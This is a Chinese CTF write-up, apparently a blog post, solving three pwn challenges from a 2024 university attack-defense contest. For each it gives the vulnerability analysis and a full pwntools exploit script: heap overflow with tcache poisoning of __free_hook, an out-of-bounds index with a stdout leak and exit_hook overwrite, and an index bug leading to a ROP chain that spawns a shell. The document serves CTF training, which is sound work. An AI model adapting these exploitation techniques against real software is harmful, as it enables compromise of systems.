古剑山 第二届全国大学生网络攻防大赛 2024 pwn AK

题目链接:
百度网盘(提取码yxxx)

🤺前言

没报这个比赛,看到鱼神在群里说了一下这个比赛,就让鱼神把题发我了。3小时的比赛题目还是比较容易的,不知道题目名字就随便命名了
在这里插入图片描述

⚔️pwn1(堆溢出)

🗡️分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看。这里已经改过函数名了
在这里插入图片描述
add函数中,利用strdup创建的堆块,根据字符串长度来创建。size可以输很大,然后输入短长度的字符串,在后面edit的时候就可以造成溢出
在这里插入图片描述
根据size来输入的,可以溢出
在这里插入图片描述
show也是根据size输出,利用的是write

🗡️解题

在这里插入图片描述
在这里插入图片描述
先创一个unsortedbin
在这里插入图片描述
随后拿到这个chunk,show出libc地址
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
修改第一个chunk,改下面的tcachebin为__free_hook
在这里插入图片描述
取到__free_hook,改为sys,控制参数为/bin/sh再delete一下拿shell

🗡️exp

from pwn import *

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 13326)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

def add(index, size, content):
    io.sendlineafter('show\n', '1')
    io.sendlineafter('index: ', str(index))
    io.sendlineafter('size: ', str(size))
    io.sendafter('note: ', content)

def delete(index):
    io.sendlineafter('show\n', '2')
    io.sendlineafter('index: ', str(index))

def edit(index, content):
    io.sendlineafter('show\n', '3')
    io.sendlineafter('index: ', str(index))
    io.sendafter('note: ', content)

def show(index):
    io.sendlineafter('show\n', '4')
    io.sendlineafter('index: ', str(index))

add(0, 0xf0, 'A')
for i in range(1, 10):
    add(i, 0x20, b'A' * 0x80)

for i in range(1, 9):
    delete(i)

add(9, 0x20, b'A')

show(9)
io.recv(8)
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x3ebd20
success('libcbase =>> ' + hex(libcbase))
__free_hook = libcbase + libc.sym['__free_hook']
sys = libcbase + libc.sym['system']

edit(0, p64(0) * 3 + p64(0x91) + p64(__free_hook))

for i in range(8):
    add(1, 0x20, b'A' * 0x80)
    
edit(1, p64(sys))

add(2, 0x20, b'/bin/sh\x00')
delete(2)

io.interactive()

⚔️pwn2(分配大堆,不正确的数组索引,IO泄露,exit_hook)

🗡️分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看
在这里插入图片描述
输入size,如果size大于0x400000就会重新输入。但是在重新输入后改变的仅仅是size,size_4并没有改变,而后面是通过size_4来写的,这里就有不正确的数组索引,可以实现任意地址写

后面malloc了size,malloc的size在(0x1ffe8, 0x1fefe8]区间,会调用mmap分配空间,这片空间可能在ld段也有可能在ld段往上偏移一段距离。如果大于0x1fefe8,会在libc段

所以分配0x400000大小的chunk,就可以在libc段,此时只需要加一下偏移就可以改libc的data段中的内容。data段中存放的stdout,改标志位flag:fbad28为fbad18过检测,再把write_base的末字节改为\x00即可泄露libc地址

后面有个任意地址改,随后调用exit退出,显然是利用刚刚的libc计算出exit_hook,改为one_gadget即可

🗡️解题

在这里插入图片描述
先算好到stdout的偏移,等会要修改过去
在这里插入图片描述
分配完chunk后,就可以修改了
在这里插入图片描述
如图所示,触发一下输出的函数即可泄露libc,下面刚好是触发了一次
在这里插入图片描述
接收一下,算出one_gadget,下面只能改3个字节所以转换了一下
在这里插入图片描述
exit_hook为这两个,在exit的时候会执行,这两个位置如果是2.23的libc的话,在_rtld_global + 3848和_rtld_global + 3856的位置上,由于调用位置不同,所以寄存器状态可能不同,两个都试着改改one_gadget
在这里插入图片描述
修改,后面触发exit就可以拿shell

🗡️exp

from pwn import *

filename = './inferno'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 13326)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

io.sendline(str(0x400000 + 0x5c5611))
io.sendline(str(0x400000))

io.send('\x18')
io.send('\x00')

io.recv(0x33)
libcbase = u64(io.recv(6).ljust(8, b'\0')) - 0x3c36e0
success('libcbase =>> ' + hex(libcbase))
exit_hook = libcbase + 0x626f48
success('exit_hook =>> ' + hex(exit_hook))
one_gadget = libcbase + 0xf1247

success('one_gadget =>> ' + hex(one_gadget))
one_gadget = one_gadget & 0xffffff
one_gadget = one_gadget.to_bytes(3, byteorder='little')

io.send(p64(exit_hook))
io.send(one_gadget)

io.interactive()

⚔️pwn3(不正确的数组索引)

🗡️分析

在这里插入图片描述
checksec查看。保护全开
在这里插入图片描述
IDA查看。函数已重新命名
在这里插入图片描述
init函数中调用了一下随机数
在这里插入图片描述
有3个随机数,但没有以时间为种子,所以是固定的
在这里插入图片描述
add函数,看上去很复杂,实际上就一个有用,其他的基本没用,看第一个cute就可以了

上来先给自己命个名,才能继续,命完名后会先退出

在这里插入图片描述
chunk的size不能大于0x100,实际没什么用,因为这题不考堆
在这里插入图片描述
在这里插入图片描述
漏洞出现在show函数和edit函数中,if后没有退出,导致index可以随意。可以直接show出bss段地址,再show出bss段上的libc地址。这题没给libc,所以需要找libc,可以泄露bss段上面的got表地址,那么多got表地址足够准确找到libc版本了

之后再泄露libc里的envrion里的栈地址,修改edit函数的返回地址进行基本rop即可
在这里插入图片描述
需要注意的是,在edit的时候会进行异或操作,异或的数值会一直变
在这里插入图片描述
magic中可以改rand1和2的值,将这两个改为0,rand的值就永远为0了,就不会影响edit的修改了。开始的时候值为5,输入一下就可以过检测了

🗡️解题

在这里插入图片描述
主要用到这两个函数
在这里插入图片描述
改rand,方便edit
在这里插入图片描述
命名,后面的\x99是之后edit的大小
在这里插入图片描述
先show一下bss地址
在这里插入图片描述
-19是这里,这里刚好存放了他自己的地址
在这里插入图片描述
修改-19的地址,将他自己的末位改为\xa0,也就是cute的chunk[0]的位置,再将cute的chunk[0]改为stdout的地址
在这里插入图片描述
第一次修改,\x99是刚刚写的name,这里作为了read的size
在这里插入图片描述
第二次修改这里
在这里插入图片描述
随后show一下0就可以拿到libc了
在这里插入图片描述
继续改0为envrion,再show出stack
在这里插入图片描述
再将0改为stack,这里后面跟了个\x99也是控制chunk的size,不然等会edit没size

下面edit参数为0就是改stack,基本rop

🗡️exp

from pwn import *

filename = './pwn'

debug = 0
if debug:
    io = remote('nc1.ctfplus.cn', 13326)
else:
    io = process(filename)

elf = ELF(filename)

context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
    gdb.attach(io)

libc = ELF('./libc.so.6')

def show(index):
    io.sendlineafter('select : ', '2')
    io.sendlineafter('select : ', '1')
    io.sendlineafter('see?', str(index))
    io.recvuntil('):')
    a = u64(io.recv(6).ljust(8, b'\0'))
    io.sendlineafter('select : ', '5')
    return a
    
def edit(index, content):
    io.sendlineafter('select : ', '4')
    io.sendlineafter('select : ', '1')
    io.sendlineafter('groom?', str(index))
    io.sendafter('grooming\n', content)
    io.sendlineafter('select : ', '5')

io.sendlineafter('select : ', '5')
io.sendline(str(5))
io.sendline(str(0))
io.sendline(str(0))

io.sendline('1')
io.send('\x00' * 4 + '\x99')

bss = show(-19)
success('bss =>> ' + hex(bss))

edit(-19, '\xa0')
edit(-19, p64(bss + 0x18))

libcbase = show(0) - 0x2045c0
success('libcbase =>> ' + hex(libcbase))
environ = libcbase + libc.sym['environ']
sys = libcbase + libc.sym['system']
bin_sh = libcbase + libc.search('/bin/sh').__next__()
rdi = libcbase + 0x10f75b 
ret = libcbase + 0x2882f

edit(-19, p64(environ))

stack = show(0) - 0x150
success('stack =>> ' + hex(stack))

edit(-19, p64(stack) + b'\x00' * 0x40 + b'\x99')
edit(0, p64(ret) + p64(rdi) + p64(bin_sh) + p64(sys))

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YX-hueimie

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值